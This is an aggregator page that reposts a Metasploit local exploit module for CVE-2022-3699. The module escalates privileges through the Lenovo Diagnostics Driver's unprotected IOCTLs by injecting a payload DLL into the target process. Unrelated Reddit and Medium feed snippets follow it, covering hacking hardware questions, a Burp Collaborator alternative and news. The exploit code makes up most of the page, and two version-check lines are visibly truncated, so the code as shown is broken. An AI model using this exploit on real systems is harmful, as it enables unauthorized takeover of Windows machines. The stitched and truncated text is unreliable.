Exploit Collector
Lenovo Diagnostics Driver Memory Access

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.

SHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
'Description' => %q{
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
},
'License' => MSF_LICENSE,
'Author' => [
'alfarom256', # Original PoC
'jheysel-r7' # msf module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'References' => [
[ 'CVE', '2022-3699' ],
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
],
'DisclosureDate' => '2022-11-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
}
)
)
end

def check
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end

handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end

session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end

def target_compatible?
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")

return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <=

false
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
end

if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
[encoded_payload.length].pack('I<')
)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end Source:packetstormsecurity.com

Deep Web
Why is vice city not working

Title

submitted by /u/UnhappyDuck1
[link] [comments]

Bug Zero at a Glance [Week 28 January — 03 February]
https://blog.bugzero.io/bug-zero-at-a-glance-week-28-january-03-february-75bdb06293e4?source=rss------bug_bounty-5

What happened with Bug Zero?Continue reading on Bug Zero » (https://blog.bugzero.io/bug-zero-at-a-glance-week-28-january-03-february-75bdb06293e4?source=rss------bug_bounty-5)

Get Into Cybersecurity in 2023: A Step-by-Step Guide

Unlocking the Secrets to a Successful Cybersecurity Career: A Step-by-Step Guide for BeginnersContinue reading on InfoSec Write-ups »
Read more...

hacking: security in practice
ISO7816 Smart Card Reader and Writer Recommendation

Wondering if anyone has a recommendation for a good card reader/writer for < $30. On Amazon it seems that all have poor reviews or only have reading capabilities.

My specific chip I am trying to learn with is an atmel 24C02 IC card.

Thanks!

submitted by /u/nixcydr
[link] [comments]

hacking: security in practice
Iran responsible for Charlie Hebdo cyber attacks

https://external-preview.redd.it/h0NORCeJHJ0OAgNVoJi0CNUGaaMiG3z1fr-uqBWhxSA.jpg?width=640&crop=smart&auto=webp&s=3ddac19f87ce0832794779a9af41ee6e1904430c submitted by /u/DrinkMoreCodeMore
[link] [comments]

hacking: security in practice
It's this good for Kali Linux?

Hello, I have a question. Is this wi fi adapter good for Kali Linux?

https://alfa-network.eu/awus036acu

It is called: Alfa AWUS036ACU. I will also leave a link with the adapter below.

I just plugged it in and tried to connect it to the virtual machine but it doesn't seem to fit. Is it good for Kali Linux and hacking or not? It's most likely not... but I thought I'd ask you too because I don't have experience with this kind of thing, I'm at the beginning. Thank you!

submitted by /u/costeluscapdeplus
[link] [comments]

hacking: security in practice
Alternative to burp collaborator

Hello,

I’m looking for a free alternative to burp collaborator. I mainly need to be able to see incoming requests specifically to test for blind vulnerabilities such as xss or ssrf.

Any recommendations would be really appreciated.

submitted by /u/Individual-Pin3980
[link] [comments]

Hacking on Medium
Amazing portable door stopper

Addalock Portable Door Lock

Continue reading on Medium »